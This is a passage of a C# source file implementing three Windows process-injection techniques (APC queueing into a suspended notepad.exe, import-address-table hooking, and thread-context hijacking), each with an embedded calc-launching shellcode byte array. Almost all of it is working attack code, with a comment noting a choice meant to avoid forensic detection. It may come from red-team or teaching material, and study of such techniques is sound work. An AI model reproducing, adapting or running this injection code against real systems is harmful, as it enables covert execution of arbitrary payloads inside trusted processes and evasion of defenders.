VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect); } public class ApcInjectionNewProcess { public static void Inject() { byte[] shellcode = new byte[112] { 0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3 }; // Target process to inject into string processpath = @"C:\Windows\notepad.exe"; STARTUPINFO si = new STARTUPINFO(); PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); // Create new process in suspended state to inject into bool success = CreateProcess(processpath, null, IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi); // Allocate memory within process and write shellcode IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_READWRITE); IntPtr bytesWritten = IntPtr.Zero; bool resultBool = WriteProcessMemory(pi.hProcess,resultPtr,shellcode,shellcode.Length, out bytesWritten); // Open thread IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId); uint oldProtect = 0; // Modify memory permissions on allocated shellcode resultBool = VirtualProtectEx(pi.hProcess,resultPtr, shellcode.Length,PAGE_EXECUTE_READ, out oldProtect); // Assign address of shellcode to the target thread apc queue IntPtr ptr = QueueUserAPC(resultPtr,sht,IntPtr.Zero); IntPtr ThreadHandle = pi.hThread; ResumeThread(ThreadHandle); } private static UInt32 MEM_COMMIT = 0x1000; //private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; //I'm not using this #DFIR ;-) private static UInt32 PAGE_READWRITE = 0x04; private static UInt32 PAGE_EXECUTE_READ = 0x20; [Flags] public enum ProcessAccessFlags : uint { All = 0x001F0FFF, Terminate = 0x00000001, CreateThread = 0x00000002, VirtualMemoryOperation = 0x00000008, VirtualMemoryRead = 0x00000010, VirtualMemoryWrite = 0x00000020, DuplicateHandle = 0x00000040, CreateProcess = 0x000000080, SetQuota = 0x00000100, SetInformation = 0x00000200, QueryInformation = 0x00000400, QueryLimitedInformation = 0x00001000, Synchronize = 0x00100000 } [Flags] public enum ProcessCreationFlags : uint { ZERO_FLAG = 0x00000000, CREATE_BREAKAWAY_FROM_JOB = 0x01000000, CREATE_DEFAULT_ERROR_MODE = 0x04000000, CREATE_NEW_CONSOLE = 0x00000010, CREATE_NEW_PROCESS_GROUP = 0x00000200, CREATE_NO_WINDOW = 0x08000000, CREATE_PROTECTED_PROCESS = 0x00040000, CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, CREATE_SEPARATE_WOW_VDM = 0x00001000, CREATE_SHARED_WOW_VDM = 0x00001000, CREATE_SUSPENDED = 0x00000004, CREATE_UNICODE_ENVIRONMENT = 0x00000400, DEBUG_ONLY_THIS_PROCESS = 0x00000002, DEBUG_PROCESS = 0x00000001, DETACHED_PROCESS = 0x00000008, EXTENDED_STARTUPINFO_PRESENT = 0x00080000, INHERIT_PARENT_AFFINITY = 0x00010000 } public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } public struct STARTUPINFO { public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [Flags] public enum ThreadAccess : int { TERMINATE = (0x0001) , SUSPEND_RESUME = (0x0002) , GET_CONTEXT = (0x0008) , SET_CONTEXT = (0x0010) , SET_INFORMATION = (0x0020) , QUERY_INFORMATION = (0x0040) , SET_THREAD_TOKEN = (0x0080) , IMPERSONATE = (0x0100) , DIRECT_IMPERSONATION = (0x0200) } [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, int dwThreadId); [DllImport("kernel32.dll",SetLastError = true)] public static extern bool WriteProcessMemory( IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); [DllImport("kernel32")] public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr, Int32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32.dll", SetLastError = true )] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr OpenProcess( ProcessAccessFlags processAccess, bool bInheritHandle, int processId ); [DllImport("kernel32.dll")] public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment,string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("kernel32.dll")] public static extern uint ResumeThread(IntPtr hThread); [DllImport("kernel32.dll")] public static extern uint SuspendThread(IntPtr hThread); [DllImport("kernel32.dll")] public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect); } public class IatInjection { public static void Inject() { string targetProcName = "notepad"; string targetFuncName = "CreateFileW"; // Get target process id and read memory contents Process process = Process.GetProcessesByName(targetProcName)[0]; IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, process.Id); int bytesRead = 0; byte[] fileBytes = new byte[process.WorkingSet64]; ReadProcessMemory(hProcess, process.MainModule.BaseAddress, fileBytes, fileBytes.Length, ref bytesRead); // The DOS header IMAGE_DOS_HEADER dosHeader; // The file header IMAGE_FILE_HEADER fileHeader; // Optional 32 bit file header IMAGE_OPTIONAL_HEADER32 optionalHeader32 = new IMAGE_OPTIONAL_HEADER32(); // Optional 64 bit file header IMAGE_OPTIONAL_HEADER64 optionalHeader64 = new IMAGE_OPTIONAL_HEADER64(); // Image Section headers IMAGE_SECTION_HEADER[] imageSectionHeaders; // Import descriptor for each DLL IMAGE_IMPORT_DESCRIPTOR[] importDescriptors; // Convert file bytes to memorystream and use reader MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length); BinaryReader reader = new BinaryReader(stream); //Begin parsing structures dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader); // Add 4 bytes to the offset stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); UInt32 ntHeadersSignature = reader.ReadUInt32(); fileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader); if (Is32BitHeader(fileHeader)) { optionalHeader32 = FromBinaryReader<IMAGE_OPTIONAL_HEADER32>(reader); } else { optionalHeader64 = FromBinaryReader<IMAGE_OPTIONAL_HEADER64>(reader); } imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) { imageSectionHeaders[headerNo] = FromBinaryReader<IMAGE_SECTION_HEADER>(reader); } // Go to ImportTable and parse every imported DLL stream.Seek((long)((ulong)optionalHeader64.ImportTable.VirtualAddress), SeekOrigin.Begin); importDescriptors = new IMAGE_IMPORT_DESCRIPTOR[50]; for (int i = 0; i < 50; i++) { importDescriptors[i] = FromBinaryReader<IMAGE_IMPORT_DESCRIPTOR>(reader); } bool flag = false; int j = 0; // The below is really hacky, would have been better to use structures! while (j < importDescriptors.Length && !flag) { for (int k = 0; k < 1000; k++) { // Get the address for the function and its name stream.Seek(importDescriptors[j].OriginalFirstThunk + (k * 8), SeekOrigin.Begin); long nameOffset = reader.ReadInt64(); if (nameOffset > 1000000 || nameOffset < 0) { break; } // Get the function name stream.Seek(nameOffset + 2, SeekOrigin.Begin); List<string> list = new List<string>(); byte[] array; do { array = reader.ReadBytes(1); list.Add(Encoding.Default.GetString(array)); } while (array[0] != 0); string curFuncName = string.Join(string.Empty, list.ToArray()); curFuncName = curFuncName.Substring(0, curFuncName.Length - 1); // Get the offset of the pointer to the target function and its current value long funcOffset = importDescriptors[j].FirstThunk + (k * 8); stream.Seek(funcOffset, SeekOrigin.Begin); long curFuncAddr = reader.ReadInt64(); // Found target function, modify address to point to shellcode if (curFuncName == targetFuncName) { // WinExec shellcode from: https://github.com/peterferrie/win-exec-calc-shellcode // nasm w64-exec-calc-shellcode.asm -DSTACK_ALIGN=TRUE -DFUNC=TRUE -DCLEAN=TRUE -o w64-exec-calc-shellcode.bin byte[] payload = new byte[111] { 0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58 }; // Once shellcode has executed go to real import (mov to rax then jmp to address) byte[] mov_rax = new byte[2] { 0x48, 0xb8 }; byte[] jmp_address = BitConverter.GetBytes(curFuncAddr); byte[] jmp_rax = new byte[2] { 0xff, 0xe0 }; // Build shellcode byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length]; payload.CopyTo(shellcode, 0); mov_rax.CopyTo(shellcode, payload.Length); jmp_address.CopyTo(shellcode, payload.Length+mov_rax.Length); jmp_rax.CopyTo(shellcode, payload.Length+mov_rax.Length+jmp_address.Length); // Allocate memory for shellcode IntPtr shellcodeAddress = VirtualAllocEx(hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE); // Write shellcode to memory IntPtr shellcodeBytesWritten = IntPtr.Zero; WriteProcessMemory(hProcess,shellcodeAddress,shellcode,shellcode.Length, out shellcodeBytesWritten); long funcAddress = (long)optionalHeader64.ImageBase + funcOffset; // Get current value of IAT bytesRead = 0; byte[] buffer1 = new byte[8]; ReadProcessMemory(hProcess, (IntPtr)funcAddress, buffer1, buffer1.Length, ref bytesRead); // Get shellcode address byte[] shellcodePtr = BitConverter.GetBytes((Int64)shellcodeAddress); // Modify permissions to allow IAT modification uint oldProtect = 0; bool protectbool = VirtualProtectEx(hProcess, (IntPtr)funcAddress, shellcodePtr.Length, PAGE_EXECUTE_READWRITE, out oldProtect); // Modfiy IAT to point to shellcode IntPtr iatBytesWritten = IntPtr.Zero; bool success = WriteProcessMemory(hProcess, (IntPtr)funcAddress, shellcodePtr, shellcodePtr.Length, out iatBytesWritten); // Read IAT to confirm new value bytesRead = 0; byte[] buffer = new byte[8]; ReadProcessMemory(hProcess, (IntPtr)funcAddress, buffer, buffer.Length, ref bytesRead); flag = true; break; } } j++; } } public struct IMAGE_DOS_HEADER { // DOS .EXE header public UInt16 e_magic; // Magic number public UInt16 e_cblp; // Bytes on last page of file public UInt16 e_cp; // Pages in file public UInt16 e_crlc; // Relocations public UInt16 e_cparhdr; // Size of header in paragraphs public UInt16 e_minalloc; // Minimum extra paragraphs needed public UInt16 e_maxalloc; // Maximum extra paragraphs needed public UInt16 e_ss; // Initial (relative) SS value public UInt16 e_sp; // Initial SP value public UInt16 e_csum; // Checksum public UInt16 e_ip; // Initial IP value public UInt16 e_cs; // Initial (relative) CS value public UInt16 e_lfarlc; // File address of relocation table public UInt16 e_ovno; // Overlay number public UInt16 e_res_0; // Reserved words public UInt16 e_res_1; // Reserved words public UInt16 e_res_2; // Reserved words public UInt16 e_res_3; // Reserved words public UInt16 e_oemid; // OEM identifier (for e_oeminfo) public UInt16 e_oeminfo; // OEM information; e_oemid specific public UInt16 e_res2_0; // Reserved words public UInt16 e_res2_1; // Reserved words public UInt16 e_res2_2; // Reserved words public UInt16 e_res2_3; // Reserved words public UInt16 e_res2_4; // Reserved words public UInt16 e_res2_5; // Reserved words public UInt16 e_res2_6; // Reserved words public UInt16 e_res2_7; // Reserved words public UInt16 e_res2_8; // Reserved words public UInt16 e_res2_9; // Reserved words public UInt32 e_lfanew; // File address of new exe header } [StructLayout(LayoutKind.Sequential)] public struct IMAGE_DATA_DIRECTORY { public UInt32 VirtualAddress; public UInt32 Size; } [StructLayout(LayoutKind.Sequential, Pack = 1)] public struct IMAGE_OPTIONAL_HEADER32 { public UInt16 Magic; public Byte MajorLinkerVersion; public Byte MinorLinkerVersion; public UInt32 SizeOfCode; public UInt32 SizeOfInitializedData; public UInt32 SizeOfUninitializedData; public UInt32 AddressOfEntryPoint; public UInt32 BaseOfCode; public UInt32 BaseOfData; public UInt32 ImageBase; public UInt32 SectionAlignment; public UInt32 FileAlignment; public UInt16 MajorOperatingSystemVersion; public UInt16 MinorOperatingSystemVersion; public UInt16 MajorImageVersion; public UInt16 MinorImageVersion; public UInt16 MajorSubsystemVersion; public UInt16 MinorSubsystemVersion; public UInt32 Win32VersionValue; public UInt32 SizeOfImage; public UInt32 SizeOfHeaders; public UInt32 CheckSum; public UInt16 Subsystem; public UInt16 DllCharacteristics; public UInt32 SizeOfStackReserve; public UInt32 SizeOfStackCommit; public UInt32 SizeOfHeapReserve; public UInt32 SizeOfHeapCommit; public UInt32 LoaderFlags; public UInt32 NumberOfRvaAndSizes; public IMAGE_DATA_DIRECTORY ExportTable; public IMAGE_DATA_DIRECTORY ImportTable; public IMAGE_DATA_DIRECTORY ResourceTable; public IMAGE_DATA_DIRECTORY ExceptionTable; public IMAGE_DATA_DIRECTORY CertificateTable; public IMAGE_DATA_DIRECTORY BaseRelocationTable; public IMAGE_DATA_DIRECTORY Debug; public IMAGE_DATA_DIRECTORY Architecture; public IMAGE_DATA_DIRECTORY GlobalPtr; public IMAGE_DATA_DIRECTORY TLSTable; public IMAGE_DATA_DIRECTORY LoadConfigTable; public IMAGE_DATA_DIRECTORY BoundImport; public IMAGE_DATA_DIRECTORY IAT; public IMAGE_DATA_DIRECTORY DelayImportDescriptor; public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; public IMAGE_DATA_DIRECTORY Reserved; } [StructLayout(LayoutKind.Sequential, Pack = 1)] public struct IMAGE_OPTIONAL_HEADER64 { public UInt16 Magic; public Byte MajorLinkerVersion; public Byte MinorLinkerVersion; public UInt32 SizeOfCode; public UInt32 SizeOfInitializedData; public UInt32 SizeOfUninitializedData; public UInt32 AddressOfEntryPoint; public UInt32 BaseOfCode; public UInt64 ImageBase; public UInt32 SectionAlignment; public UInt32 FileAlignment; public UInt16 MajorOperatingSystemVersion; public UInt16 MinorOperatingSystemVersion; public UInt16 MajorImageVersion; public UInt16 MinorImageVersion; public UInt16 MajorSubsystemVersion; public UInt16 MinorSubsystemVersion; public UInt32 Win32VersionValue; public UInt32 SizeOfImage; public UInt32 SizeOfHeaders; public UInt32 CheckSum; public UInt16 Subsystem; public UInt16 DllCharacteristics; public UInt64 SizeOfStackReserve; public UInt64 SizeOfStackCommit; public UInt64 SizeOfHeapReserve; public UInt64 SizeOfHeapCommit; public UInt32 LoaderFlags; public UInt32 NumberOfRvaAndSizes; public IMAGE_DATA_DIRECTORY ExportTable; public IMAGE_DATA_DIRECTORY ImportTable; public IMAGE_DATA_DIRECTORY ResourceTable; public IMAGE_DATA_DIRECTORY ExceptionTable; public IMAGE_DATA_DIRECTORY CertificateTable; public IMAGE_DATA_DIRECTORY BaseRelocationTable; public IMAGE_DATA_DIRECTORY Debug; public IMAGE_DATA_DIRECTORY Architecture; public IMAGE_DATA_DIRECTORY GlobalPtr; public IMAGE_DATA_DIRECTORY TLSTable; public IMAGE_DATA_DIRECTORY LoadConfigTable; public IMAGE_DATA_DIRECTORY BoundImport; public IMAGE_DATA_DIRECTORY IAT; public IMAGE_DATA_DIRECTORY DelayImportDescriptor; public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; public IMAGE_DATA_DIRECTORY Reserved; } [StructLayout(LayoutKind.Sequential, Pack = 1)] public struct IMAGE_FILE_HEADER { public UInt16 Machine; public UInt16 NumberOfSections; public UInt32 TimeDateStamp; public UInt32 PointerToSymbolTable; public UInt32 NumberOfSymbols; public UInt16 SizeOfOptionalHeader; public UInt16 Characteristics; } [StructLayout(LayoutKind.Explicit)] public struct IMAGE_SECTION_HEADER { [FieldOffset(0)] [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] public char[] Name; [FieldOffset(8)] public UInt32 VirtualSize; [FieldOffset(12)] public UInt32 VirtualAddress; [FieldOffset(16)] public UInt32 SizeOfRawData; [FieldOffset(20)] public UInt32 PointerToRawData; [FieldOffset(24)] public UInt32 PointerToRelocations; [FieldOffset(28)] public UInt32 PointerToLinenumbers; [FieldOffset(32)] public UInt16 NumberOfRelocations; [FieldOffset(34)] public UInt16 NumberOfLinenumbers; [FieldOffset(36)] public DataSectionFlags Characteristics; public string Section { get { return new string(Name); } } } [StructLayout(LayoutKind.Sequential)] public struct IMAGE_IMPORT_DESCRIPTOR { public uint OriginalFirstThunk; public uint TimeDateStamp; public uint ForwarderChain; public uint Name; public uint FirstThunk; } [StructLayout(LayoutKind.Sequential)] public struct IMAGE_BASE_RELOCATION { public uint VirtualAdress; public uint SizeOfBlock; } [Flags] public enum DataSectionFlags : uint { Stub = 0x00000000, } public static T FromBinaryReader<T>(BinaryReader reader) { // Read in a byte array byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T))); // Pin the managed memory while, copy it out the data, then unpin it GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned); T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T)); handle.Free(); return theStructure; } public static bool Is32BitHeader(IMAGE_FILE_HEADER fileHeader) { UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100; return (IMAGE_FILE_32BIT_MACHINE & fileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE; } // Process privileges public const int PROCESS_CREATE_THREAD = 0x0002; public const int PROCESS_QUERY_INFORMATION = 0x0400; public const int PROCESS_VM_OPERATION = 0x0008; public const int PROCESS_VM_WRITE = 0x0020; public const int PROCESS_VM_READ = 0x0010; public const int PROCESS_ALL_ACCESS = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ; // Memory permissions public const uint MEM_COMMIT = 0x00001000; public const uint MEM_RESERVE = 0x00002000; public const uint PAGE_READWRITE = 0x04; public const uint PAGE_EXECUTE_READWRITE = 0x40; [DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll")] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("kernel32.dll")] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesRead); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] public static extern IntPtr LoadLibrary(string lpFileName); [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); } public class ThreadHijack { // Import API Functions [DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll")] static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId); [DllImport("kernel32.dll")] static extern uint SuspendThread(IntPtr hThread); [DllImport("kernel32.dll", SetLastError = true)] static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext); [DllImport("kernel32.dll", SetLastError = true)] static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext); [DllImport("kernel32.dll")] static extern int ResumeThread(IntPtr hThread); [DllImport("kernel32", CharSet = CharSet.Auto,SetLastError = true)] static extern bool CloseHandle(IntPtr handle); [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError = true)] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesRead); // Process privileges const int PROCESS_CREATE_THREAD = 0x0002; const int PROCESS_QUERY_INFORMATION = 0x0400; const int PROCESS_VM_OPERATION = 0x0008; const int PROCESS_VM_WRITE = 0x0020; const int PROCESS_VM_READ = 0x0010; // Memory permissions const uint MEM_COMMIT = 0x00001000; const uint MEM_RESERVE = 0x00002000; const uint PAGE_READWRITE = 4; const uint PAGE_EXECUTE_READWRITE = 0x40; [Flags] public enum ThreadAccess : int { TERMINATE = (0x0001), SUSPEND_RESUME = (0x0002), GET_CONTEXT = (0x0008), SET_CONTEXT = (0x0010), SET_INFORMATION = (0x0020), QUERY_INFORMATION = (0x0040), SET_THREAD_TOKEN = (0x0080), IMPERSONATE = (0x0100), DIRECT_IMPERSONATION = (0x0200), THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT, THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION } public enum CONTEXT_FLAGS : uint { CONTEXT_i386 = 0x10000, CONTEXT_i486 = 0x10000, // same as i386 CONTEXT_CONTROL = CONTEXT_i386 | 0x01, // SS:SP, CS:IP, FLAGS, BP CONTEXT_INTEGER = CONTEXT_i386 | 0x02, // AX, BX, CX, DX, SI, DI CONTEXT_SEGMENTS = CONTEXT_i386 | 0x04, // DS, ES, FS, GS CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x08, // 387 state CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x10, // DB 0-3,6,7 CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x20, // cpu specific extensions CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS, CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS } // x86 float save [StructLayout(LayoutKind.Sequential)] public struct FLOATING_SAVE_AREA { public uint ControlWord; public uint StatusWord; public uint TagWord; public uint ErrorOffset; public uint ErrorSelector; public uint DataOffset; public uint DataSelector; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)] public byte[] RegisterArea; public uint Cr0NpxState; } // x86 context structure (not used in this example) [StructLayout(LayoutKind.Sequential)] public struct CONTEXT { public uint ContextFlags; //set this to an appropriate value // Retrieved by CONTEXT_DEBUG_REGISTERS public uint Dr0; public uint Dr1; public uint Dr2; public uint Dr3; public uint Dr6; public uint Dr7; // Retrieved by CONTEXT_FLOATING_POINT public FLOATING_SAVE_AREA FloatSave; // Retrieved by CONTEXT_SEGMENTS public uint SegGs; public uint SegFs; public uint SegEs; public uint SegDs; // Retrieved by CONTEXT_INTEGER public uint Edi; public uint Esi; public uint Ebx; public uint Edx; public uint Ecx; public uint Eax; // Retrieved by CONTEXT_CONTROL public uint Ebp; public uint Eip; public uint SegCs; public uint EFlags; public uint Esp; public uint SegSs; // Retrieved by CONTEXT_EXTENDED_REGISTERS [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] public byte[] ExtendedRegisters; } // x64 m128a [StructLayout(LayoutKind.Sequential)] public struct M128A { public ulong High; public long Low; public override string ToString() { return string.Format("High:{0}, Low:{1}", this.High, this.Low); } } // x64 save format [StructLayout(LayoutKind.Sequential, Pack = 16)] public struct XSAVE_FORMAT64 { public ushort ControlWord; public ushort StatusWord; public byte TagWord; public byte Reserved1; public ushort ErrorOpcode; public uint ErrorOffset; public ushort ErrorSelector; public ushort Reserved2; public uint DataOffset; public ushort DataSelector; public ushort Reserved3; public uint MxCsr; public uint MxCsr_Mask; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] public M128A[] FloatRegisters; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] public M128A[] XmmRegisters; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)] public byte[] Reserved4; } // x64 context structure [StructLayout(LayoutKind.Sequential, Pack = 16)] public struct CONTEXT64 { public ulong P1Home; public ulong P2Home; public ulong P3Home; public ulong P4Home; public ulong P5Home; public ulong P6Home; public CONTEXT_FLAGS ContextFlags; public uint MxCsr; public ushort SegCs; public ushort SegDs; public ushort SegEs; public ushort SegFs; public ushort SegGs; public ushort SegSs; public uint EFlags; public ulong Dr0; public ulong Dr1; public ulong Dr2; public ulong Dr3; public ulong Dr6; public ulong Dr7; public ulong Rax; public ulong Rcx; public ulong Rdx; public ulong Rbx; public ulong Rsp; public ulong Rbp; public ulong Rsi; public ulong Rdi; public ulong R8; public ulong R9; public ulong R10; public ulong R11; public ulong R12; public ulong R13; public ulong R14; public ulong R15; public ulong Rip; public XSAVE_FORMAT64 DUMMYUNIONNAME; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)] public M128A[] VectorRegister; public ulong VectorControl; public ulong DebugControl; public ulong LastBranchToRip; public ulong LastBranchFromRip; public ulong LastExceptionToRip; public ulong LastExceptionFromRip; } public static int Inject() { // Get target process by name Process targetProcess = Process.GetProcessesByName("notepad")[0]; // Open and Suspend first thread ProcessThread pT = targetProcess.Threads[0]; IntPtr pOpenThread = OpenThread(ThreadAccess.THREAD_HIJACK, false, (uint)pT.Id); SuspendThread(pOpenThread); // Get thread context CONTEXT64 tContext = new CONTEXT64(); tContext.ContextFlags = CONTEXT_FLAGS.CONTEXT_FULL; if (GetThreadContext(pOpenThread, ref tContext)) { } // WinExec shellcode from: https://github.com/peterferrie/win-exec-calc-shellcode // Compiled with: // nasm w64-exec-calc-shellcode.asm -DSTACK_ALIGN=TRUE -DFUNC=TRUE -DCLEAN=TRUE -o w64-exec-calc-shellcode.bin byte[] payload = new byte[112] { 0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3 }; // Once shellcode has executed return to thread original EIP address (mov to rax then jmp to address) byte[] mov_rax = new byte[2] { 0x48, 0xb8 }; byte[] jmp_address = BitConverter.GetBytes(tContext.Rip); byte[] jmp_rax = new byte[2] { 0xff, 0xe0 }; // Build shellcode byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length]; payload.CopyTo(shellcode, 0); mov_rax.CopyTo(shellcode, payload.Length); 